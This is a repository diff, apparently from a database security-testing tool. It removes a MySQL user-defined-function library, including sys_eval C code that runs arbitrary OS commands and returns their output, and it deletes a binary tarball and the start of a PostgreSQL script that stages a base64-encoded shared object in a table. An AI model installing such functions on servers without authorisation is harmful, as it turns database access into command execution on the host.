-
- This library is free software; you can redistribute it and/or
- modify it under the terms of the GNU Lesser General Public
-@@ -51,7 +52,7 @@
- extern "C" {
- #endif
-
--#define LIBVERSION "lib_mysqludf_sys version 0.0.2"
-+#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
-
- #ifdef __WIN__
- #define SETENV(name,value) SetEnvironmentVariable(name,value);
-@@ -139,7 +140,7 @@
- /**
- * sys_exec
- *
-- * executes the argument commandstring.
-+ * executes the argument commandstring and returns its exit status.
- * Beware that this can be a security hazard.
- */
- DLLEXP
-@@ -162,6 +163,34 @@
- , char *error
- );
-
-+/**
-+ * sys_eval
-+ *
-+ * executes the argument commandstring and returns its standard output.
-+ * Beware that this can be a security hazard.
-+ */
-+DLLEXP
-+my_bool sys_eval_init(
-+ UDF_INIT *initid
-+, UDF_ARGS *args
-+, char *message
-+);
-+
-+DLLEXP
-+void sys_eval_deinit(
-+ UDF_INIT *initid
-+);
-+
-+DLLEXP
-+char* sys_eval(
-+ UDF_INIT *initid
-+, UDF_ARGS *args
-+, char* result
-+, unsigned long* length
-+, char *is_null
-+, char *error
-+);
-+
-
- #ifdef __cplusplus
- }
-@@ -336,5 +365,62 @@
- return system(args->args[0]);
- }
-
-+my_bool sys_eval_init(
-+ UDF_INIT *initid
-+, UDF_ARGS *args
-+, char *message
-+){
-+ unsigned int i=0;
-+ if(args->arg_count == 1
-+ && args->arg_type[i]==STRING_RESULT){
-+ return 0;
-+ } else {
-+ strcpy(
-+ message
-+ , "Expected exactly one string type parameter"
-+ );
-+ return 1;
-+ }
-+}
-+void sys_eval_deinit(
-+ UDF_INIT *initid
-+){
-+}
-+char* sys_eval(
-+ UDF_INIT *initid
-+, UDF_ARGS *args
-+, char* result
-+, unsigned long* length
-+, char *is_null
-+, char *error
-+){
-+ FILE *pipe;
-+ char line[1024];
-+ unsigned long outlen, linelen;
-+
-+ result = malloc(1);
-+ outlen = 0;
-+
-+ pipe = popen(args->args[0], "r");
-+
-+ while (fgets(line, sizeof(line), pipe) != NULL) {
-+ linelen = strlen(line);
-+ result = realloc(result, outlen + linelen);
-+ strncpy(result + outlen, line, linelen);
-+ outlen = outlen + linelen;
-+ }
-+
-+ pclose(pipe);
-+
-+ if (!(*result) || result == NULL) {
-+ *is_null = 1;
-+ } else {
-+ result[outlen] = 0x00;
-+ *length = strlen(result);
-+ }
-+
-+ return result;
-+}
-+
-
- #endif /* HAVE_DLOPEN */
-diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.html lib_mysqludf_sys/lib_mysqludf_sys.html
---- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.html 2009-01-22 12:01:55.000000000 +0000
-+++ lib_mysqludf_sys/lib_mysqludf_sys.html 2009-01-22 10:21:46.000000000 +0000
-@@ -23,7 +23,8 @@
- This library lib_mysqludf_sys contains a number of functions that allows one to interact with the operating system.
-
-
-- sys_exec - executes an arbitrary command, and can thus be used to launch an external application.
-+ sys_eval - executes an arbitrary command, and returns it's output.
-+ sys_exec - executes an arbitrary command, and returns it's exit code.
- sys_get - gets the value of an environment variable.
- sys_set - create an environment variable, or update the value of an existing environment variable.
-
-@@ -31,6 +32,72 @@
- Use lib_mysqludf_sys_info() to obtain information about the currently installed version of lib_mysqludf_sys.
-
-
-+
-+ sys_eval
-+
-+ sys_eval takes one command string argument and executes it, returning its output.
-+
-+ Syntax
-+sys_eval(arg1)
-+ Parameters and Return Values
-+
-+ arg1
-+ -
-+ A command string valid for the current operating system or execution environment.
-+
-+ - returns
-+ -
-+ Whatever output the command pushed to the standard output stream.
-+
-+
-+ Installation
-+
-+ Place the shared library binary in an appropriate location.
-+ Log in to mysql as root or as another user with sufficient privileges, and select any database.
-+ Then, create the function using the following DDL statement:
-+
-+
-+CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
-+
-+
-+ The function will be globally available in all databases.
-+
-+
-+ The deinstall the function, run the following statement:
-+
-+
-+DROP FUNCTION sys_eval;
-+
-+ Examples
-+
-+ None yet
-+
-+ A Note of Caution
-+
-+ Be very careful in deciding whether you need this function.
-+ UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
-+ As the commandstring passed to sys_exec can do pretty much everything,
-+ exposing the function poses a very real security hazard.
-+
-+
-+ Even for a benign user, it is possible to accidentally do a lot of damage with it.
-+ The call will be executed with the privileges of the os user that runs MySQL,
-+ so it is entirely feasible to delete MySQL's data directory, or worse.
-+
-+
-+ The function is intended for specialized MySQL applications where one needs extended
-+ control over the operating system.
-+ Currently, we do not have UDF's for ftp, email and http,
-+ and this function can be used to implement such functionality in case it is really necessary
-+ (datawarehouse staging areas could be a case in example).
-+
-+
-+ You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
-+
-+
-+ If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using AppArmor.
-+
-+
- sys_exec
-
- sys_exec takes one command string argument and executes it.
-@@ -92,6 +159,9 @@
-
- You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
-
-+
-+ If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using AppArmor.
-+
- sys_get
-
- sys_get takes the name of an environment variable and returns the value of the variable.
-Binary files lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.so and lib_mysqludf_sys/lib_mysqludf_sys.so differ
-diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.sql lib_mysqludf_sys/lib_mysqludf_sys.sql
---- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.sql 2009-01-22 12:01:55.000000000 +0000
-+++ lib_mysqludf_sys/lib_mysqludf_sys.sql 2009-01-22 10:21:53.000000000 +0000
-@@ -1,30 +1,33 @@
--/*
-- lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
-- Copyright (C) 2007 Roland Bouman
-- web: http://www.xcdsql.org/MySQL/UDF/
-- email: mysqludfs@gmail.com
--
-- This library is free software; you can redistribute it and/or
-- modify it under the terms of the GNU Lesser General Public
-- License as published by the Free Software Foundation; either
-- version 2.1 of the License, or (at your option) any later version.
--
-- This library is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-- Lesser General Public License for more details.
--
-- You should have received a copy of the GNU Lesser General Public
-- License along with this library; if not, write to the Free Software
-- Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-+/*
-+ lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
-+ Copyright (C) 2007 Roland Bouman
-+ Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
-+ web: http://www.mysqludf.org/
-+ email: roland.bouman@gmail.com, bernardo.damele@gmail.com
-+
-+ This library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ This library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with this library; if not, write to the Free Software
-+ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
--drop function lib_mysqludf_sys_info;
--drop function sys_get;
--drop function sys_set;
--drop function sys_exec;
-+DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
-+DROP FUNCTION IF EXISTS sys_get;
-+DROP FUNCTION IF EXISTS sys_set;
-+DROP FUNCTION IF EXISTS sys_exec;
-+DROP FUNCTION IF EXISTS sys_eval;
-
--create function lib_mysqludf_sys_info returns string soname 'lib_mysqludf_sys.so';
--create function sys_get returns string soname 'lib_mysqludf_sys.so';
--create function sys_set returns int soname 'lib_mysqludf_sys.so';
--create function sys_exec returns int soname 'lib_mysqludf_sys.so';
-+CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
-+CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
-+CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
-+CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
-+CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
-diff -uN lib_mysqludf_sys_0.0.2/Makefile lib_mysqludf_sys/Makefile
---- lib_mysqludf_sys_0.0.2/Makefile 2009-01-22 12:01:55.000000000 +0000
-+++ lib_mysqludf_sys/Makefile 2009-01-19 09:11:00.000000000 +0000
-@@ -1,6 +1,4 @@
--linux: \
-- lib_mysqludf_sys.so
-+LIBDIR=/usr/lib
-
--lib_mysqludf_sys.so: \
--
-- gcc -Wall -I/opt/mysql/mysql/include -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
-+install:
-+ gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o $(LIBDIR)/lib_mysqludf_sys.so
-Common subdirectories: lib_mysqludf_sys_0.0.2/.svn and lib_mysqludf_sys/.svn
diff --git a/extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz b/extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz
deleted file mode 100644
index 01ca73867e9d61c6fdbb0db7cda80db646f092e5..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001
literal 12695
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
diff --git a/extra/mysqludfsys/lib_mysqludf_sys/linux/Makefile b/extra/mysqludfsys/linux/Makefile
similarity index 100%
rename from extra/mysqludfsys/lib_mysqludf_sys/linux/Makefile
rename to extra/mysqludfsys/linux/Makefile
diff --git a/extra/mysqludfsys/lib_mysqludf_sys/linux/install.sh b/extra/mysqludfsys/linux/install.sh
similarity index 100%
rename from extra/mysqludfsys/lib_mysqludf_sys/linux/install.sh
rename to extra/mysqludfsys/linux/install.sh
diff --git a/extra/mysqludfsys/lib_mysqludf_sys/linux/lib_mysqludf_sys.sql b/extra/mysqludfsys/linux/lib_mysqludf_sys.sql
similarity index 100%
rename from extra/mysqludfsys/lib_mysqludf_sys/linux/lib_mysqludf_sys.sql
rename to extra/mysqludfsys/linux/lib_mysqludf_sys.sql
diff --git a/extra/mysqludfsys/lib_mysqludf_sys/linux/so/lib_mysqludf_sys.so b/extra/mysqludfsys/linux/so/lib_mysqludf_sys.so
similarity index 100%
rename from extra/mysqludfsys/lib_mysqludf_sys/linux/so/lib_mysqludf_sys.so
rename to extra/mysqludfsys/linux/so/lib_mysqludf_sys.so
diff --git a/extra/mysqludfsys/lib_mysqludf_sys/linux/src/lib_mysqludf_sys.c b/extra/mysqludfsys/linux/src/lib_mysqludf_sys.c
similarity index 100%
rename from extra/mysqludfsys/lib_mysqludf_sys/linux/src/lib_mysqludf_sys.c
rename to extra/mysqludfsys/linux/src/lib_mysqludf_sys.c
diff --git a/extra/postgresqludfsys/command_execution/linux.sql b/extra/postgresqludfsys/command_execution/linux.sql
deleted file mode 100644
index 36a3711e4..000000000
--- a/extra/postgresqludfsys/command_execution/linux.sql
+++ /dev/null
@@ -1,97 +0,0 @@
--- Notes:
---
--- The SO compiled using PostgreSQL 8.3 C libraries differs from the one
--- compiled using PostgreSQL 8.2 C libraries
---
--- SO compiled using PostgreSQL 8.3 C libraries
--- lib_postgresqludf_sys.so: 8567 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped)
--- lib_postgresqludf_sys.so: 5476 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped)
---
--- SO compiled using PostgreSQL 8.2 C libraries
--- lib_postgresqludf_sys.so: 8567 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped)
--- lib_postgresqludf_sys.so: 5476 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped)
---
--- Little hack to compress the shared object:
--- * Compile with -O1 the shared object
--- * Use strip to remove all symbols (-s) and non-global symbols (-x)
-
-
--- Create a table with one field data-type text
-DROP TABLE IF EXISTS udftest;
-CREATE TABLE udftest(data text);
-
-
--- Insert the base64 encoded UDF in the table
-
--- SO compiled using PostgreSQL 8.3 C libraries
